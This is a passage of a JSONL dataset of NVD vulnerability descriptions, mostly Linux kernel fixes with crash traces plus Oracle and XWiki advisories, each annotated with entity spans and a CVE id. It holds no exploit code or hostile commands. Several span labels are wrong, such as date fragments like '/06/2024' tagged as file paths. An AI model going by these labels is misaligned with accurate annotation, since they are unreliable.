00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f4ce5d4a038 EFLAGS: 00000246 ORIG_RAX: 0000000000000133\nRAX: ffffffffffffffda RBX: 00007f4ce5135f80 RCX: 00007f4ce4f7def9\nRDX: 0000000000000001 RSI: 0000000020005d40 RDI: 0000000000000006\nRBP: 00007f4ce4ff0b76 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 0000000000000000 R14: 00007f4ce5135f80 R15: 00007ffd4cbc6d68\n </TASK>", "spans": {"FILEPATH: /ipv4/netfilter/nf_dup_ipv4.c": [[471, 500], [899, 928]], "FILEPATH: /06/2024": [[681, 689]], "FILEPATH: /ipv4/netfilter/nft_dup_ipv4.c": [[967, 997]], "FILEPATH: /netfilter/nf_tables_core.c": [[1025, 1052], [1097, 1124]], "FILEPATH: /netfilter/nft_chain_filter.c": [[1164, 1193]], "FILEPATH: /linux/netfilter.h": [[1227, 1245], [1339, 1357], [1384, 1402]], "FILEPATH: /netfilter/core.c": [[1288, 1305]], "FILEPATH: /ipv4/ip_output.c": [[1443, 1460], [1483, 1500], [1542, 1559]], "FILEPATH: /ipv4/udp.c": [[1596, 1607], [1643, 1654]], "FILEPATH: /x86/entry/common.c": [[2056, 2075], [2119, 2138]], "FILEPATH: dump_stack.c": [[729, 741], [787, 799]], "FILEPATH: smp_processor_id.c": [[848, 866]], "FILEPATH: socket.c": [[1685, 1693], [1740, 1748], [1787, 1795], [1822, 1830], [1878, 1886], [1916, 1924], [1963, 1971], [2021, 2029]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[615, 621], [622, 628], [644, 650], [672, 678]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49952"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmac802154: fix llsec key resources release in mac802154_llsec_key_del\n\nmac802154_llsec_key_del() can free resources of a key directly without\nfollowing the RCU rules for waiting before the end of a grace period. This\nmay lead to use-after-free in case llsec_lookup_key() is traversing the\nlist of keys in parallel with a key deletion:\n\nrefcount_t: addition on 0; use-after-free.\nWARNING: CPU: 4 PID: 16000 at lib/refcount.c:25 refcount_warn_saturate+0x162/0x2a0\nModules linked in:\nCPU: 4 PID: 16000 Comm: wpan-ping Not tainted 6.7.0 #19\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014\nRIP: 0010:refcount_warn_saturate+0x162/0x2a0\nCall Trace:\n <TASK>\n llsec_lookup_key.isra.0+0x890/0x9e0\n mac802154_llsec_encrypt+0x30c/0x9c0\n ieee802154_subif_start_xmit+0x24/0x1e0\n dev_hard_start_xmit+0x13e/0x690\n sch_direct_xmit+0x2ae/0xbc0\n __dev_queue_xmit+0x11dd/0x3c20\n dgram_sendmsg+0x90b/0xd60\n __sys_sendto+0x466/0x4c0\n __x64_sys_sendto+0xe0/0x1c0\n do_syscall_64+0x45/0xf0\n entry_SYSCALL_64_after_hwframe+0x6e/0x76\n\nAlso, ieee802154_llsec_key_entry structures are not freed by\nmac802154_llsec_key_del():\n\nunreferenced object 0xffff8880613b6980 (size 64):\n  comm \"iwpan\", pid 2176, jiffies 4294761134 (age 60.475s)\n  hex dump (first 32 bytes):\n    78 0d 8f 18 80 88 ff ff 22 01 00 00 00 00 ad de  x.......\".......\n    00 00 00 00 00 00 00 00 03 00 cd ab 00 00 00 00  ................\n  backtrace:\n    [<ffffffff81dcfa62>] __kmem_cache_alloc_node+0x1e2/0x2d0\n    [<ffffffff81c43865>] kmalloc_trace+0x25/0xc0\n    [<ffffffff88968b09>] mac802154_llsec_key_add+0xac9/0xcf0\n    [<ffffffff8896e41a>] ieee802154_add_llsec_key+0x5a/0x80\n    [<ffffffff8892adc6>] nl802154_add_llsec_key+0x426/0x5b0\n    [<ffffffff86ff293e>] genl_family_rcv_msg_doit+0x1fe/0x2f0\n    [<ffffffff86ff46d1>] genl_rcv_msg+0x531/0x7d0\n    [<ffffffff86fee7a9>] netlink_rcv_skb+0x169/0x440\n    [<ffffffff86ff1d88>] genl_rcv+0x28/0x40\n    [<ffffffff86fec15c>] netlink_unicast+0x53c/0x820\n    [<ffffffff86fecd8b>] netlink_sendmsg+0x93b/0xe60\n    [<ffffffff86b91b35>] ____sys_sendmsg+0xac5/0xca0\n    [<ffffffff86b9c3dd>] ___sys_sendmsg+0x11d/0x1c0\n    [<ffffffff86b9c65a>] __sys_sendmsg+0xfa/0x1d0\n    [<ffffffff88eadbf5>] do_syscall_64+0x45/0xf0\n    [<ffffffff890000ea>] entry_SYSCALL_64_after_hwframe+0x6e/0x76\n\nHandle the proper resource release in the RCU callback function\nmac802154_llsec_key_del_rcu().\n\nNote that if llsec_lookup_key() finds a key, it gets a refcount via\nllsec_key_get() and locally copies key id from key_entry (which is a\nlist element). So it's safe to call llsec_key_put() and free the list\nentry after the RCU grace period elapses.\n\nFound by Linux Verification Center (linuxtesting.org).", "spans": {"DOMAIN: linuxtesting.org": [[2762, 2778]], "FILEPATH: /01/2014": [[691, 699]], "FILEPATH: refcount.c": [[482, 492]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[2735, 2740]], "SYSTEM: QEMU": [[621, 625]], "VULNERABILITY: use-after-free": [[298, 312], [432, 446]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26961"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\niavf: Fix NULL pointer dereference in iavf_get_link_ksettings\n\nFix possible NULL pointer dereference, due to freeing of adapter->vf_res\nin iavf_init_get_resources. Previous commit introduced a regression,\nwhere receiving IAVF_ERR_ADMIN_QUEUE_NO_WORK from iavf_get_vf_config\nwould free adapter->vf_res. However, netdev is still registered, so\nethtool_ops can be called. Calling iavf_get_link_ksettings with no vf_res,\nwill result with:\n[ 9385.242676] BUG: kernel NULL pointer dereference, address: 0000000000000008\n[ 9385.242683] #PF: supervisor read access in kernel mode\n[ 9385.242686] #PF: error_code(0x0000) - not-present page\n[ 9385.242690] PGD 0 P4D 0\n[ 9385.242696] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC PTI\n[ 9385.242701] CPU: 6 PID: 3217 Comm: pmdalinux Kdump: loaded Tainted: G S          E     5.18.0-04958-ga54ce3703613-dirty #1\n[ 9385.242708] Hardware name: Dell Inc. PowerEdge R730/0WCJNT, BIOS 2.11.0 11/02/2019\n[ 9385.242710] RIP: 0010:iavf_get_link_ksettings+0x29/0xd0 [iavf]\n[ 9385.242745] Code: 00 0f 1f 44 00 00 b8 01 ef ff ff 48 c7 46 30 00 00 00 00 48 c7 46 38 00 00 00 00 c6 46 0b 00 66 89 46 08 48 8b 87 68 0e 00 00 <f6> 40 08 80 75 50 8b 87 5c 0e 00 00 83 f8 08 74 7a 76 1d 83 f8 20\n[ 9385.242749] RSP: 0018:ffffc0560ec7fbd0 EFLAGS: 00010246\n[ 9385.242755] RAX: 0000000000000000 RBX: ffffc0560ec7fc08 RCX: 0000000000000000\n[ 9385.242759] RDX: ffffffffc0ad4550 RSI: ffffc0560ec7fc08 RDI: ffffa0fc66674000\n[ 9385.242762] RBP: 00007ffd1fb2bf50 R08: b6a2d54b892363ee R09: ffffa101dc14fb00\n[ 9385.242765] R10: 0000000000000000 R11: 0000000000000004 R12: ffffa0fc66674000\n[ 9385.242768] R13: 0000000000000000 R14: ffffa0fc66674000 R15: 00000000ffffffa1\n[ 9385.242771] FS:  00007f93711a2980(0000) GS:ffffa0fad72c0000(0000) knlGS:0000000000000000\n[ 9385.242775] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 9385.242778] CR2: 0000000000000008 CR3: 0000000a8e61c003 CR4: 00000000003706e0\n[ 9385.242781] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[ 9385.242784] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[ 9385.242787] Call Trace:\n[ 9385.242791]  <TASK>\n[ 9385.242793]  ethtool_get_settings+0x71/0x1a0\n[ 9385.242814]  __dev_ethtool+0x426/0x2f40\n[ 9385.242823]  ? slab_post_alloc_hook+0x4f/0x280\n[ 9385.242836]  ? kmem_cache_alloc_trace+0x15d/0x2f0\n[ 9385.242841]  ? dev_ethtool+0x59/0x170\n[ 9385.242848]  dev_ethtool+0xa7/0x170\n[ 9385.242856]  dev_ioctl+0xc3/0x520\n[ 9385.242866]  sock_do_ioctl+0xa0/0xe0\n[ 9385.242877]  sock_ioctl+0x22f/0x320\n[ 9385.242885]  __x64_sys_ioctl+0x84/0xc0\n[ 9385.242896]  do_syscall_64+0x3a/0x80\n[ 9385.242904]  entry_SYSCALL_64_after_hwframe+0x46/0xb0\n[ 9385.242918] RIP: 0033:0x7f93702396db\n[ 9385.242923] Code: 73 01 c3 48 8b 0d ad 57 38 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 7d 57 38 00 f7 d8 64 89 01 48\n[ 9385.242927] RSP: 002b:00007ffd1fb2bf18 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\n[ 9385.242932] RAX: ffffffffffffffda RBX: 000055671b1d2fe0 RCX: 00007f93702396db\n[ 9385.242935] RDX: 00007ffd1fb2bf20 RSI: 0000000000008946 RDI: 0000000000000007\n[ 9385.242937] RBP: 00007ffd1fb2bf20 R08: 0000000000000003 R09: 0030763066307330\n[ 9385.242940] R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffd1fb2bf80\n[ 9385.242942] R13: 0000000000000007 R14: 0000556719f6de90 R15: 00007ffd1fb2c1b0\n[ 9385.242948]  </TASK>\n[ 9385.242949] Modules linked in: iavf(E) xt_CHECKSUM xt_MASQUERADE xt_conntrack ipt_REJECT nft_compat nf_nat_tftp nft_objref nf_conntrack_tftp bridge stp llc nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 ip_set nf_tables rfkill nfnetlink vfat fat irdma ib_uverbs ib_core intel_rapl_msr intel_rapl_common sb_edac x86_pkg_temp_thermal intel_powerclamp coretem\n---truncated---", "spans": {"FILEPATH: /02/2019": [[992, 1000]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Dell": [[945, 949]], "VULNERABILITY: NULL pointer dereference": [[79, 103], [145, 169], [531, 555]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50054"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: 2D).  Supported versions that are affected are Oracle Java SE: 8u451, 8u451-perf, 11.0.27, 17.0.15, 21.0.7, 24.0.1; Oracle GraalVM for JDK: 17.0.15, 21.0.7 and  24.0.1; Oracle GraalVM Enterprise Edition: 21.3.14. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).", "spans": {"SYSTEM: Java": [[28, 32], [113, 117], [187, 191], [477, 481], [620, 624], [724, 728], [781, 785], [822, 826], [927, 931], [991, 995]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [61, 67], [106, 112], [180, 186], [249, 255], [302, 308], [470, 476], [486, 492], [510, 516], [613, 619], [629, 635], [653, 659]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-30749"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/slab: fix warning caused by duplicate kmem_cache creation in kmem_buckets_create\n\nCommit b035f5a6d852 (\"mm: slab: reduce the kmalloc() minimum alignment\nif DMA bouncing possible\") reduced ARCH_KMALLOC_MINALIGN to 8 on arm64.\nHowever, with KASAN_HW_TAGS enabled, arch_slab_minalign() becomes 16.\nThis causes kmalloc_caches[*][8] to be aliased to kmalloc_caches[*][16],\nresulting in kmem_buckets_create() attempting to create a kmem_cache for\nsize 16 twice. This duplication triggers warnings on boot:\n\n[    2.325108] ------------[ cut here ]------------\n[    2.325135] kmem_cache of name 'memdup_user-16' already exists\n[    2.325783] WARNING: CPU: 0 PID: 1 at mm/slab_common.c:107 __kmem_cache_create_args+0xb8/0x3b0\n[    2.327957] Modules linked in:\n[    2.328550] CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Not tainted 6.12.0-rc5mm-unstable-arm64+ #12\n[    2.328683] Hardware name: QEMU QEMU Virtual Machine, BIOS 2024.02-2 03/11/2024\n[    2.328790] pstate: 61000009 (nZCv daif -PAN -UAO -TCO +DIT -SSBS BTYPE=--)\n[    2.328911] pc : __kmem_cache_create_args+0xb8/0x3b0\n[    2.328930] lr : __kmem_cache_create_args+0xb8/0x3b0\n[    2.328942] sp : ffff800083d6fc50\n[    2.328961] x29: ffff800083d6fc50 x28: f2ff0000c1674410 x27: ffff8000820b0598\n[    2.329061] x26: 000000007fffffff x25: 0000000000000010 x24: 0000000000002000\n[    2.329101] x23: ffff800083d6fce8 x22: ffff8000832222e8 x21: ffff800083222388\n[    2.329118] x20: f2ff0000c1674410 x19: f5ff0000c16364c0 x18: ffff800083d80030\n[    2.329135] x17: 0000000000000000 x16: 0000000000000000 x15: 0000000000000000\n[    2.329152] x14: 0000000000000000 x13: 0a73747369786520 x12: 79646165726c6120\n[    2.329169] x11: 656820747563205b x10: 2d2d2d2d2d2d2d2d x9 : 0000000000000000\n[    2.329194] x8 : 0000000000000000 x7 : 0000000000000000 x6 : 0000000000000000\n[    2.329210] x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000\n[    2.329226] x2 : 0000000000000000 x1 : 0000000000000000 x0 : 0000000000000000\n[    2.329291] Call trace:\n[    2.329407]  __kmem_cache_create_args+0xb8/0x3b0\n[    2.329499]  kmem_buckets_create+0xfc/0x320\n[    2.329526]  init_user_buckets+0x34/0x78\n[    2.329540]  do_one_initcall+0x64/0x3c8\n[    2.329550]  kernel_init_freeable+0x26c/0x578\n[    2.329562]  kernel_init+0x3c/0x258\n[    2.329574]  ret_from_fork+0x10/0x20\n[    2.329698] ---[ end trace 0000000000000000 ]---\n\n[    2.403704] ------------[ cut here ]------------\n[    2.404716] kmem_cache of name 'msg_msg-16' already exists\n[    2.404801] WARNING: CPU: 2 PID: 1 at mm/slab_common.c:107 __kmem_cache_create_args+0xb8/0x3b0\n[    2.404842] Modules linked in:\n[    2.404971] CPU: 2 UID: 0 PID: 1 Comm: swapper/0 Tainted: G        W          6.12.0-rc5mm-unstable-arm64+ #12\n[    2.405026] Tainted: [W]=WARN\n[    2.405043] Hardware name: QEMU QEMU Virtual Machine, BIOS 2024.02-2 03/11/2024\n[    2.405057] pstate: 60400009 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[    2.405079] pc : __kmem_cache_create_args+0xb8/0x3b0\n[    2.405100] lr : __kmem_cache_create_args+0xb8/0x3b0\n[    2.405111] sp : ffff800083d6fc50\n[    2.405115] x29: ffff800083d6fc50 x28: fbff0000c1674410 x27: ffff8000820b0598\n[    2.405135] x26: 000000000000ffd0 x25: 0000000000000010 x24: 0000000000006000\n[    2.405153] x23: ffff800083d6fce8 x22: ffff8000832222e8 x21: ffff800083222388\n[    2.405169] x20: fbff0000c1674410 x19: fdff0000c163d6c0 x18: ffff800083d80030\n[    2.405185] x17: 0000000000000000 x16: 0000000000000000 x15: 0000000000000000\n[    2.405201] x14: 0000000000000000 x13: 0a73747369786520 x12: 79646165726c6120\n[    2.405217] x11: 656820747563205b x10: 2d2d2d2d2d2d2d2d x9 : 0000000000000000\n[    2.405233] x8 : 0000000000000000 x7 : 0000000000000000 x6 : 0000000000000000\n[    2.405248] x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000\n[    2.405271] x2 : 0000000000000000 x1 : 0000000000000000 x0 : 0000000000000000\n[    2.405287] Call trace:\n[    2\n---truncated---", "spans": {"FILEPATH: /11/2024": [[994, 1002], [2902, 2910]], "FILEPATH: slab_common.c": [[735, 748], [2593, 2606]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[950, 954], [955, 959], [2858, 2862], [2863, 2867]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53065"}}
{"text": "### Impact It's possible to know if a user has or not an account in a wiki related to an email address, and which username(s) is actually tied to that email by forging a request to the Forgot username page. Note that since this page does not have a CSRF check it's quite easy to perform a lot of those requests. ### Patches This issue has been patched in XWiki 12.10.5 and 13.2RC1. Two different patches are provided: - a first one to fix the CSRF problem - a more complex one that now relies on sending an email for the Forgot username process. ### Workarounds It's possible to fix the problem without uprading by editing the ForgotUsername page in version below 13.x, to use the following code: https://github.com/xwiki/xwiki-platform/blob/69548c0320cbd772540cf4668743e69f879812cf/xwiki-platform-core/xwiki-platform-administration/xwiki-platform-administration-ui/src/main/resources/XWiki/ForgotUsername.xml#L39-L123 In version after 13.x it's also possible to edit manually the forgotusername.vm file, but it's really encouraged to upgrade the version here. ### References * https://jira.xwiki.org/browse/XWIKI-18384 * https://jira.xwiki.org/browse/XWIKI-18408 ### For more information If you have any questions or comments about this advisory: * Open an issue in [Jira XWiki](https://jira.xwiki.org) * Email us at [security ML](mailto:security@xwiki.org)", "spans": {"URL: https://github.com/xwiki/xwiki-platform/blob/69548c0320cbd772540cf4668743e69f879812cf/xwiki-platform-core/xwiki-platform-administration/xwiki-platform-administration-ui/src/main/resources/XWiki/ForgotUsername.xml#L39-L123": [[697, 918]], "URL: https://jira.xwiki.org/browse/XWIKI-18384": [[1078, 1119]], "URL: https://jira.xwiki.org/browse/XWIKI-18408": [[1122, 1163]], "URL: https://jira.xwiki.org": [[1280, 1302]], "DOMAIN: xwiki.org": [[1348, 1357]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32732"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncgroup: split cgroup_destroy_wq into 3 workqueues\n\nA hung task can occur during [1] LTP cgroup testing when repeatedly\nmounting/unmounting perf_event and net_prio controllers with\nsystemd.unified_cgroup_hierarchy=1. The hang manifests in\ncgroup_lock_and_drain_offline() during root destruction.\n\nRelated case:\ncgroup_fj_function_perf_event cgroup_fj_function.sh perf_event\ncgroup_fj_function_net_prio cgroup_fj_function.sh net_prio\n\nCall Trace:\n\tcgroup_lock_and_drain_offline+0x14c/0x1e8\n\tcgroup_destroy_root+0x3c/0x2c0\n\tcss_free_rwork_fn+0x248/0x338\n\tprocess_one_work+0x16c/0x3b8\n\tworker_thread+0x22c/0x3b0\n\tkthread+0xec/0x100\n\tret_from_fork+0x10/0x20\n\nRoot Cause:\n\nCPU0                            CPU1\nmount perf_event                umount net_prio\ncgroup1_get_tree                cgroup_kill_sb\nrebind_subsystems               // root destruction enqueues\n\t\t\t\t// cgroup_destroy_wq\n// kill all perf_event css\n                                // one perf_event css A is dying\n                                // css A offline enqueues cgroup_destroy_wq\n                                // root destruction will be executed first\n                                css_free_rwork_fn\n                                cgroup_destroy_root\n                                cgroup_lock_and_drain_offline\n                                // some perf descendants are dying\n                                // cgroup_destroy_wq max_active = 1\n                                // waiting for css A to die\n\nProblem scenario:\n1. CPU0 mounts perf_event (rebind_subsystems)\n2. CPU1 unmounts net_prio (cgroup_kill_sb), queuing root destruction work\n3. A dying perf_event CSS gets queued for offline after root destruction\n4. Root destruction waits for offline completion, but offline work is\n   blocked behind root destruction in cgroup_destroy_wq (max_active=1)\n\nSolution:\nSplit cgroup_destroy_wq into three dedicated workqueues:\ncgroup_offline_wq – Handles CSS offline operations\ncgroup_release_wq – Manages resource release\ncgroup_free_wq – Performs final memory deallocation\n\nThis separation eliminates blocking in the CSS free path while waiting for\noffline operations to complete.\n\n[1] https://github.com/linux-test-project/ltp/blob/master/runtest/controllers", "spans": {"URL: https://github.com/linux-test-project/ltp/blob/master/runtest/controllers": [[2238, 2311]], "FILEPATH: cgroup_fj_function.sh": [[409, 430], [470, 491]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[249, 256]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39953"}}
{"text": "Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Marketing Administration). Supported versions that are affected are 12.1.1-12.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Marketing. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Marketing, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Marketing accessible data as well as unauthorized update, insert or delete access to some of Oracle Marketing accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [49, 55], [276, 282], [411, 417], [601, 607], [701, 707]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2835"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: prevent copying too big compressed lzo segment\n\nCompressed length can be corrupted to be a lot larger than memory\nwe have allocated for buffer.\nThis will cause memcpy in copy_compressed_segment to write outside\nof allocated memory.\n\nThis mostly results in stuck read syscall but sometimes when using\nbtrfs send can get #GP\n\n  kernel: general protection fault, probably for non-canonical address 0x841551d5c1000: 0000 [#1] PREEMPT SMP NOPTI\n  kernel: CPU: 17 PID: 264 Comm: kworker/u256:7 Tainted: P           OE     5.17.0-rc2-1 #12\n  kernel: Workqueue: btrfs-endio btrfs_work_helper [btrfs]\n  kernel: RIP: 0010:lzo_decompress_bio (./include/linux/fortify-string.h:225 fs/btrfs/lzo.c:322 fs/btrfs/lzo.c:394) btrfs\n  Code starting with the faulting instruction\n  ===========================================\n     0:*  48 8b 06                mov    (%rsi),%rax              <-- trapping instruction\n     3:   48 8d 79 08             lea    0x8(%rcx),%rdi\n     7:   48 83 e7 f8             and    $0xfffffffffffffff8,%rdi\n     b:   48 89 01                mov    %rax,(%rcx)\n     e:   44 89 f0                mov    %r14d,%eax\n    11:   48 8b 54 06 f8          mov    -0x8(%rsi,%rax,1),%rdx\n  kernel: RSP: 0018:ffffb110812efd50 EFLAGS: 00010212\n  kernel: RAX: 0000000000001000 RBX: 000000009ca264c8 RCX: ffff98996e6d8ff8\n  kernel: RDX: 0000000000000064 RSI: 000841551d5c1000 RDI: ffffffff9500435d\n  kernel: RBP: ffff989a3be856c0 R08: 0000000000000000 R09: 0000000000000000\n  kernel: R10: 0000000000000000 R11: 0000000000001000 R12: ffff98996e6d8000\n  kernel: R13: 0000000000000008 R14: 0000000000001000 R15: 000841551d5c1000\n  kernel: FS:  0000000000000000(0000) GS:ffff98a09d640000(0000) knlGS:0000000000000000\n  kernel: CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  kernel: CR2: 00001e9f984d9ea8 CR3: 000000014971a000 CR4: 00000000003506e0\n  kernel: Call Trace:\n  kernel:  <TASK>\n  kernel: end_compressed_bio_read (fs/btrfs/compression.c:104 fs/btrfs/compression.c:1363 fs/btrfs/compression.c:323) btrfs\n  kernel: end_workqueue_fn (fs/btrfs/disk-io.c:1923) btrfs\n  kernel: btrfs_work_helper (fs/btrfs/async-thread.c:326) btrfs\n  kernel: process_one_work (./arch/x86/include/asm/jump_label.h:27 ./include/linux/jump_label.h:212 ./include/trace/events/workqueue.h:108 kernel/workqueue.c:2312)\n  kernel: worker_thread (./include/linux/list.h:292 kernel/workqueue.c:2455)\n  kernel: ? process_one_work (kernel/workqueue.c:2397)\n  kernel: kthread (kernel/kthread.c:377)\n  kernel: ? kthread_complete_and_exit (kernel/kthread.c:332)\n  kernel: ret_from_fork (arch/x86/entry/entry_64.S:301)\n  kernel:  </TASK>", "spans": {"FILEPATH: /include/linux/fortify-string.h": [[709, 740]], "FILEPATH: /btrfs/lzo.c": [[747, 759], [766, 778]], "FILEPATH: /btrfs/compression.c": [[1998, 2018], [2025, 2045], [2053, 2073]], "FILEPATH: /btrfs/disk-io.c": [[2115, 2131]], "FILEPATH: /btrfs/async-thread.c": [[2175, 2196]], "FILEPATH: /arch/x86/include/asm/jump_label.h": [[2237, 2271]], "FILEPATH: /include/linux/jump_label.h": [[2276, 2303]], "FILEPATH: /include/trace/events/workqueue.h": [[2309, 2342]], "FILEPATH: /include/linux/list.h": [[2398, 2419]], "FILEPATH: /x86/entry/entry_64.S": [[2635, 2656]], "FILEPATH: workqueue.c": [[2354, 2365], [2431, 2442], [2486, 2497]], "FILEPATH: kthread.c": [[2530, 2539], [2591, 2600]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48923"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: Fix KASAN: slab-out-of-bounds Read in fib6_nh_flush_exceptions\n\nReported by syzbot:\nHEAD commit:    90c911ad Merge tag 'fixes' of git://git.kernel.org/pub/scm..\ngit tree:       git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git master\ndashboard link: https://syzkaller.appspot.com/bug?extid=123aa35098fd3c000eb7\ncompiler:       Debian clang version 11.0.1-2\n\n==================================================================\nBUG: KASAN: slab-out-of-bounds in fib6_nh_get_excptn_bucket net/ipv6/route.c:1604 [inline]\nBUG: KASAN: slab-out-of-bounds in fib6_nh_flush_exceptions+0xbd/0x360 net/ipv6/route.c:1732\nRead of size 8 at addr ffff8880145c78f8 by task syz-executor.4/17760\n\nCPU: 0 PID: 17760 Comm: syz-executor.4 Not tainted 5.12.0-rc8-syzkaller #0\nCall Trace:\n <IRQ>\n __dump_stack lib/dump_stack.c:79 [inline]\n dump_stack+0x202/0x31e lib/dump_stack.c:120\n print_address_description+0x5f/0x3b0 mm/kasan/report.c:232\n __kasan_report mm/kasan/report.c:399 [inline]\n kasan_report+0x15c/0x200 mm/kasan/report.c:416\n fib6_nh_get_excptn_bucket net/ipv6/route.c:1604 [inline]\n fib6_nh_flush_exceptions+0xbd/0x360 net/ipv6/route.c:1732\n fib6_nh_release+0x9a/0x430 net/ipv6/route.c:3536\n fib6_info_destroy_rcu+0xcb/0x1c0 net/ipv6/ip6_fib.c:174\n rcu_do_batch kernel/rcu/tree.c:2559 [inline]\n rcu_core+0x8f6/0x1450 kernel/rcu/tree.c:2794\n __do_softirq+0x372/0x7a6 kernel/softirq.c:345\n invoke_softirq kernel/softirq.c:221 [inline]\n __irq_exit_rcu+0x22c/0x260 kernel/softirq.c:422\n irq_exit_rcu+0x5/0x20 kernel/softirq.c:434\n sysvec_apic_timer_interrupt+0x91/0xb0 arch/x86/kernel/apic/apic.c:1100\n </IRQ>\n asm_sysvec_apic_timer_interrupt+0x12/0x20 arch/x86/include/asm/idtentry.h:632\nRIP: 0010:lock_acquire+0x1f6/0x720 kernel/locking/lockdep.c:5515\nCode: f6 84 24 a1 00 00 00 02 0f 85 8d 02 00 00 f7 c3 00 02 00 00 49 bd 00 00 00 00 00 fc ff df 74 01 fb 48 c7 44 24 40 0e 36 e0 45 <4b> c7 44 3d 00 00 00 00 00 4b c7 44 3d 09 00 00 00 00 43 c7 44 3d\nRSP: 0018:ffffc90009e06560 EFLAGS: 00000206\nRAX: 1ffff920013c0cc0 RBX: 0000000000000246 RCX: dffffc0000000000\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\nRBP: ffffc90009e066e0 R08: dffffc0000000000 R09: fffffbfff1f992b1\nR10: fffffbfff1f992b1 R11: 0000000000000000 R12: 0000000000000000\nR13: dffffc0000000000 R14: 0000000000000000 R15: 1ffff920013c0cb4\n rcu_lock_acquire+0x2a/0x30 include/linux/rcupdate.h:267\n rcu_read_lock include/linux/rcupdate.h:656 [inline]\n ext4_get_group_info+0xea/0x340 fs/ext4/ext4.h:3231\n ext4_mb_prefetch+0x123/0x5d0 fs/ext4/mballoc.c:2212\n ext4_mb_regular_allocator+0x8a5/0x28f0 fs/ext4/mballoc.c:2379\n ext4_mb_new_blocks+0xc6e/0x24f0 fs/ext4/mballoc.c:4982\n ext4_ext_map_blocks+0x2be3/0x7210 fs/ext4/extents.c:4238\n ext4_map_blocks+0xab3/0x1cb0 fs/ext4/inode.c:638\n ext4_getblk+0x187/0x6c0 fs/ext4/inode.c:848\n ext4_bread+0x2a/0x1c0 fs/ext4/inode.c:900\n ext4_append+0x1a4/0x360 fs/ext4/namei.c:67\n ext4_init_new_dir+0x337/0xa10 fs/ext4/namei.c:2768\n ext4_mkdir+0x4b8/0xc00 fs/ext4/namei.c:2814\n vfs_mkdir+0x45b/0x640 fs/namei.c:3819\n ovl_do_mkdir fs/overlayfs/overlayfs.h:161 [inline]\n ovl_mkdir_real+0x53/0x1a0 fs/overlayfs/dir.c:146\n 